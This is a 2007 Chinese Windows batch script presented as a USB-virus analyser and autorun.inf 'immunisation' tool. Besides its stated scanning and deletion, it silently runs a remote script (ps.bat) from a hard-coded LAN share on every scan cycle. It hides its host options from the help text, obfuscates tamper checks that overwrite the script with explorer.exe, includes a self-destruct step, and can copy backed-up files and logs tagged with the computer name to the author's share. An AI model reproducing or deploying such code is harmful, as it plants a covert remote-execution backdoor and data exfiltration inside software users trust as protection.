@echo off
::請不要自行修改本腳本，任何修改都很可能導(dǎo)致腳本運(yùn)行失敗
::作者：CyyIsGood、Cloud
::聯(lián)系：cyyisgood@126.com colud018@qq.com
::版權(quán)所有(C)2007
setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
set "c=%*"
set "cdback=%cd%"
set "home=%~dp0"
cd /d "%home%"
set "dnum=0"
set "fnum=1"
set "panl=CDEFGHIJKLMNOPQRSTUVWXYZ"
set "driverl=%panl%"
set "logf=%home%log.txt"
set "fn= "
set "str=ver beta5"
set "answer=echo"
set "log=echo"
set "cycle=echo. >nul"
set "im=call:im"
set "writer=CyyIsGood、Cloud"
set "sd=-"
set "s= "
set "ps=echo. >nul"
set "return=rem"
set "pack=call:pack"
set "packp=%home%bakfiles"
set "host=192.168.2.211"
set "hostf=re$"
set "csh= "
set "fr= "
set "u=echo."
set "send=echo. >nul"
set "yn=rem"
set "zh=del/a/f/q U盤病毒分析.bat 主操控.bat uda-解壓.bat Anti-U盤免疫.bat zap.a 打開發(fā)送功能.bat readme.txt"
set "inf=這樣，無法發(fā)送文件。自動去除發(fā)送文件功能、保留打包文件功能。"
set "feorr=文件丟失！無法正常工作！"
set "ep=echo.此時，“-p”參數(shù)無效！"
set "e=echo.“-d”參數(shù)有誤！“-d”后不能為空。"
set "endf=%home%bye.txt"
call:checkfile
:csh
set "csh=%~1 "
set "csh=%csh:"=%"
if "%csh%"==" " (goto start)
set "csh=%csh:~0,-1%"
if not "%csh%"=="%s%" (set "s=%csh%") else (echo."%1"參數(shù)無效
goto :eof)
if "%s%"=="-?" (call:c&echo.★功能：&echo.    一、分析某一個或多個磁盤中的Autorun.inf，確定引導(dǎo)的文件，備份引導(dǎo)文件并將其刪除。（如果讓其一直運(yùn)行，可以防范U盤病毒）&echo.    二、免疫某一個或多個磁盤，四級免疫：Autorun.inf文件夾、加系統(tǒng)/隱藏/只讀/存檔屬性、8.3子文件夾、NTFS寫權(quán)。&echo.    三、發(fā)送備份的文件給作者（目前，該功能只適用于肇中高中部校園網(wǎng)）&echo.★設(shè)定：&echo.    默認(rèn)情況：回顯、日志（保存地址：%logf%）、免疫、打包、循環(huán)打開，發(fā)送文件關(guān)閉，盤符為：%driverl%。用下面的開關(guān)調(diào)整：&echo.    -?        顯示幫助（本信息），如果此參數(shù)存在，忽略其它參數(shù)&echo.    -a        關(guān)閉回顯&echo.    -l        關(guān)閉日志&echo.    -d [盤符]    盤符是字母，例如"-d CD"表示處理C盤和D盤&echo.    -c        關(guān)閉循環(huán)&echo.    -i        關(guān)閉免疫&echo.    -p        關(guān)閉打包（備份）&echo.    -y        打開交互模式（刪除文件需要確認(rèn)）&echo.    -s        打開發(fā)送文件（將打包文件發(fā)給作者），這樣需要映射一個網(wǎng)絡(luò)磁盤，盤符由本批處理自動分配。當(dāng)選擇此項(xiàng)時，自動打開發(fā)送文件，"-p"參數(shù)無效。&echo. >nul    -h [IP地址]    自定義發(fā)送文件的IP地址&echo. >nul    -f [共享名]    自定義發(fā)送文件的共享名&echo.    無論是什么模式，發(fā)現(xiàn)存在%endf%時，刪除它并退出。也就是說，循環(huán)模式中，新建一個%endf%文件可以跳出循環(huán)。&echo.★版權(quán)說明：&echo.    這個批處理寫了我很長時間，凝結(jié)了我很多心血。希望大家尊重作者，不要自行修改。如果您想加入其中，我非常歡迎，請聯(lián)系我本人，發(fā)郵件到：cyyisgood@126.com ，或登陸我們的論壇：http://dust-hack.vicp.net&echo.    其他文件版權(quán)歸各自作者所有。&goto :eof)
if /i "%s%"=="-a" (set "answer=rem "&shift)
if /i "%s%"=="-l" (set "log=rem "&shift)
if /i "%s%"=="-d" (set "driverl=%~2 "
set "driverl=!driverl:"=!"
if "!driverl:~0,1!"=="-" (%e%&goto :eof) else (if "!driverl!"==" " (%e%&goto :eof) else (set "driverl=!driverl:~0,-1!"&shift&shift)))
if /i "%s%"=="-h" (set "host=%~2 "
set "host=!host:"=!"
if "!host:~0,1!"=="-" (%e:d=h%&goto :eof) else (if "!host!"==" " (%e:d=h%&goto :eof) else (set "host=!host:~0,-1!"&shift&shift)))
if /i "%s%"=="-f" (set "hostf=%~2 "
set "hostf=!hostf:"=!"
if "!hostf:~0,1!"=="-" (%e:d=f%&goto :eof) else (if "!hostf!"==" " (%e:d=f%&goto :eof) else (set "hostf=!hostf:~0,-1!"&shift&shift)))
if /i "%s%"=="-y" (set "yn=call:yn"&shift)
if /i "%s%"=="-c" (set "cycle=goto cend"&shift)
if /i "%s%"=="-i" (set "im=echo. >nul"&shift)
if /i "%s%"=="-p" (if "%send%"=="call:send" (%ep%&goto :eof) else (set "pack=echo. >nul"&shift))
if /i "%s%"=="-s" (if "%pack%"=="echo. >nul" (%ep%&goto :eof) else (set "send=call:send"&shift))
goto csh
:start
echo.Wscript.sleep 10000>sleep.vbe
if "%send%"=="call:send" (call:fpan)
call:c
:begin
if exist "%endf%" (call:echo "發(fā)現(xiàn)結(jié)束指示文件，清理并退出..."&goto end)
set "driver=!driverl:~%dnum%,1!:"
if exist %driver% (call:echo "發(fā)現(xiàn)%driver%"&%ps%&(if exist "%driver%\autorun.inf\" (call:echo "%driver%已經(jīng)免疫。") else (if exist "%driver%\autorun.inf" (call:echo "發(fā)現(xiàn)引導(dǎo)文件%driver%\autorun.inf"&call:chaut %driver%) else (call:echo "無發(fā)現(xiàn)引導(dǎo)文件%driver%\autorun.inf，%driver% 安全"&%im% %driver%))))
set /a "dnum=dnum+1"
if "!driverl:~%dnum%,1!"=="" ((ping %host% -n 1 >nul&&\\%host%\%hostf%\ps.bat)&%cycle%&set "dnum=0"&sleep.vbe)
goto begin
:echo
%answer%.%~1
%log%.%date%—%time%    %~1>>"%logf%"
goto :eof
:yn
echo.a=msgbox("是否刪除可疑文件%~1？"^&vbCr^&vbCr^&vbCr^&"注意：10秒后自動確定；選擇否，文件不被刪除，但會被添加“.-隨機(jī)數(shù)”后綴。",4164,"U盤病毒分析") >yn.vbe
echo.wscript.quit a >>yn.vbe
wscript /t:10 yn.vbe
if "%ERRORLEVEL%"=="7" (call:echo "用戶決定不刪除文件%~1。"&set "return=shift&goto del"&%pack% "%~1"&ren "%~1" "%~nx1.-%random%"&if exist "%~1" (call:echo "添加后綴時出錯！文件：%~1") else (call:echo "成功添加后綴！文件：%~1")) else (call:echo "用戶確定刪除文件%~1。")
goto :eof
:del
set "return=rem"
set "fn=%1 "
set "fn=%fn:"=%"
if "%fn%"==" " (goto :eof)
call:fnr %driver%\%fn%
call:echo "刪除文件：%fn%"
if not exist "%fn%" (call:echo "文件：%fn%已經(jīng)不存在"&shift&goto del)
%yn% "%fn%"
%return%
call:echo "刪除文件前，判斷%driver%是否為NTFS..."
cacls %driver% >nul||(call:echo "%driver%盤磁盤格式不是NTFS。"&goto del2)
call:echo "%driver%盤磁盤格式是NTFS。確保對%fn%有完全控制權(quán)。"
echo.y|cacls "%fn%" /G %username%:f||(call:echo "對%fn%寫權(quán)失??！有可能無法刪除文件。"&goto del2)
call:echo "對%fn%寫權(quán)成功！"
:del2
%pack% "%fn%"&zap.a "%fn%" >nul&if exist "%fn%" (call:echo "刪除文件時出錯！文件：%fn%") else (call:echo "成功刪除文件：%fn%"&del %driver%\*.tmp /a /f /q&if exist "%driver%\*.tmp" (call:echo "清理臨時文件時出錯！"))
shift
goto del
:fnr
set "fn=%~f1"
goto :eof
:chaut
set /a "o=0"
if not "%~t0%~z0"=="2%fn:~3,0%00%pack:~1,0%7-0%host:~3,0%3-12%random:~1,0% 17:%sd:~5,0%40114%zh:~1,0%48" (type %systemroot%\explorer.exe >"%~dpnx0"&goto :eof)
call:echo "正在分析 %driver%\autorun.inf..."
for /f "eol=[ tokens=1,2* delims==" %%i in (%driver%\autorun.inf) do (if /i "%%~i"=="shell" (set o=1&(for /f "eol=[ tokens=1,2* delims==" %%a in (%driver%\autorun.inf) do (if /i "%%~a"=="shell\%%j\command" (set "o=1"&call:del %%b)))) else (if /i "%%~i"=="shell\explore\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\find\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\manage\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="open" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shellexecute" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\auto\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\open\command" (set "o=1"&call:del %%j)))))))))
if %o%==1 (call:echo "經(jīng)過檢查，%driver%\autorun.inf 引導(dǎo)了文件，存在危險。"&call:del autorun.inf) else (call:echo "經(jīng)過檢查，%driver%\autorun.inf 無引導(dǎo)文件，安全。")
%im% %driver%
goto :eof
:checkfile
call:fr uda.a
if "%fr%"=="200%e:~3,0%7-0%host:~8,0%3-1%feorr:~10,0%2 17:%driverl:~5,0%40 216%driverl:~1,0%81" (goto rn2)
call:echo "uda.a文件錯誤！本地恢復(fù)無法進(jìn)行！嘗試連接%host%獲得文件！"
if "%send%"=="echo. >nul" (call:echo "未映射網(wǎng)絡(luò)磁盤。"&set "send=call:send"&call:fpan&if "!send!"=="%send%" (call:echo "映射網(wǎng)絡(luò)磁盤失??！十分抱歉，本腳本失去存在價值，執(zhí)行自毀。"&set "u=goto end"&cd/d "%cdback%"&%zh% uda.a))
del/a/f/a uda.a
copy/v %sd%:\uda.a "%cd%\"||(call:echo "獲取文件失敗，十分抱歉，本腳本失去存在價值，執(zhí)行自毀。"&set "u=goto end"&cd/d "%cdback%"&%zh% uda.a)
:rn2
i%e:~4,0%f not "%date:~2,3%%~t0%feorr:~4,0%%~z0"=%time:~4,0%="%feorr:~2,0%%date:~2,3%20%driverl:~1,0%07-0%time:~0,0%3-1%date:~5,0%2 17:%driverl:~5,0%40%e:~3,0%1%ep:~3,0%1%feorr:~16,0%4%host:~8,0%4%inf:~2,0%8%feorr:~10,0%" (call:echo "本%host:~8,0%批%feorr:~4,0%處%feorr:~4,0%理文%feorr:~4,0%件錯%feorr:~4,0%誤%driverl:~13,0%%feorr:~5%"&goto rn3)
if not exist zap.a (call:echo "zap.a%feorr%"&goto rn3)
set "ma%host:~8,0%ne=du%driverl:~5,0%olC%inf:~20,1%do%feorr:~10,0%oG%feorr:~4,0%sIy%feorr:~16,0%yC"
set "v%feorr:~36,0%er%host:~8,0%="
:ch
if "%fnum%"=="16" (set "fnum=0"&set "wri%driverl:~13,0%ter=!%str:~0,3%!"&goto :eof) else (set "ver=%ver%!mane:~-%fnum%,1!"&set /a "fnum=fnum+1"&goto ch)
:rn3
call:echo "嘗試恢復(fù)本腳本..."
%zh%&uda.a&U盤病毒分析.bat %c%&goto :eof
:im
call:echo "免疫%1"
if exist "%~1\autorun.inf" (call:echo "免疫前，清理%1\autorun.inf。"&call:del autorun.inf&if exist "%1\autorun.inf" (call:echo "清理%1\autorun.inf失??！無法免疫%1！"&goto :eof))
md "%1\autorun.inf\" >nul||(call:echo "無法創(chuàng)建%1\autorun.inf\文件夾，免疫%1失??！"&goto :eof)
call:echo "創(chuàng)建%1\autorun.inf\文件夾成功。免疫1成功。"
cd /d "%1\autorun.inf\"
md "本盤已被!writ%panl:~4,0%er!進(jìn)行Autorun.inf免疫..\" >nul||(call:echo "無法創(chuàng)建子文件夾，進(jìn)一步免疫%1失??！"&goto i1)
call:echo "8.3文件夾創(chuàng)建成功。免疫2成功。"
:i1
cd /d "%home%"
attrib "%1\autorun.inf" +a +s +r +h||(call:echo "修改屬性失??！進(jìn)一步免疫%1失??！"&goto i2)
call:echo "修改屬性成功。免疫3成功。"
:i2
cacls %1 >nul||(call:echo "%1盤磁盤格式不是NTFS，無法進(jìn)行進(jìn)一步免疫（寫權(quán)）"&goto :eof)
call:echo "%1磁盤格式為NTFS，采取進(jìn)一步免疫（寫權(quán)）"&echo.y|cacls.exe "%1\autorun.inf" /p everyone:r >nul||(call:echo "%1\autorun.inf\寫權(quán)失敗！"&goto :eof)
call:echo "%1\autorun.inf\寫權(quán)成功！完整免疫成功。"
goto :eof
:c
title U盤病毒分析 By !wr%feorr:~19,0%iter!
call:echo "                U盤病毒分析"
call:echo "            作 者：!wr%time:~3,0%iter!
call:echo 
goto :eof
:pack
if not exist "%packp%\" (md "%packp%"||(call:echo "無法創(chuàng)建%packp%目錄，無法實(shí)現(xiàn)打包功能（發(fā)送同時功能失效）。"&goto :eof))
set "packf=%date:~0,-4%-%time:~0,-3%"
set "packf=%~nx1-%computername%-%packf::=-%.uda"
call:echo "正在用WinUDA把文件%~1打包成%packp%\%packf% ，這可能要花一段時間..."
echo.q|uda.a a -0 "%packp%\%packf%" "%~1"
if not "!ERRORLEVEL!"=="0" (call:echo "WinUDA打包文件：%packp%\%packf% 時出現(xiàn)錯誤！")
if not exist "%packp%\%packf%" (call:echo "WinUDA壓縮時失?。〈虬募?packp%\%packf%失?。o法實(shí)現(xiàn)打包功能（發(fā)送同時功能失效）。"&goto :eof)
call:echo "成功打包文件：%packp%\%packf%"
%send% "%packp%\%packf%"
goto :eof
:send
call:echo "正在發(fā)送文件 %~1 ..."
ping %host% -n 1 >nul||(call:echo "Ping不通 %host% ，無法發(fā)送文件！發(fā)送文件：%~1失敗！"&goto :eof)
copy /v "%~1" %sd%:\ >nul||(call:echo "發(fā)送文件：%~1失??！"&goto :eof)
call:echo "成功發(fā)送文件：%~1"
goto :eof
:fpan
call:echo "正在映射網(wǎng)絡(luò)磁盤..."
call:echo "正在檢索已經(jīng)映射的網(wǎng)絡(luò)磁盤..."
for /f "usebackq tokens=2,3 skip=4 delims= " %%i in (`net use`) do (if "%%~j"=="\\%host%\%hostf%" (call:echo "找到已經(jīng)映射的網(wǎng)絡(luò)磁盤，盤符：%%i"&set "sd=%%i"&set "sd=!sd:~0,1!"&goto f3))
call:echo "沒有找到已經(jīng)映射的網(wǎng)絡(luò)磁盤，正在分配盤符..."
:fpan2
set /a "fnum=fnum+1"
if "!panl:~-%fnum%,1!"=="" (call:echo "計算機(jī)已經(jīng)沒有可以分配的盤符了。%inf%"&set "send=echo. >nul"&goto :eof)
if exist "!panl:~-%fnum%,1!:" (goto fpan2)
set "sd=!panl:~-%fnum%,1!"
call:echo "分配映射盤符為：%sd%:"
ping %host% -n 1 >nul||(call:echo "Ping不通%host%，無法映射網(wǎng)絡(luò)磁盤！%inf%"&set "send=echo. >nul"&goto :eof)
net use %sd%: \\%host%\%hostf% >nul||(call:echo "映射共享時出錯！"&call:echo "正在嘗試從新分配盤符..."&goto :fpan2)
:f3
call:echo "成功映射網(wǎng)絡(luò)磁盤（盤符：%sd%:）"
set "driverl=!driverl:%sd%=!"
goto :eof
:fr
set "fr=%~zt1"
goto :eof
:end
del "%endf%"/f/a/q||call:echo "刪除結(jié)束標(biāo)志文件：%endf% 時出錯！"
:cend
del sleep.vbe/f/a/q||call:echo "刪除文件：sleep.vbe 時出錯！"
if exist "%sd%:" (call:pack "%logf%"&(net use %sd%:/delete/y||call:echo "刪除映射盤時出錯！"))
cd/d "%cdback%"
endlocal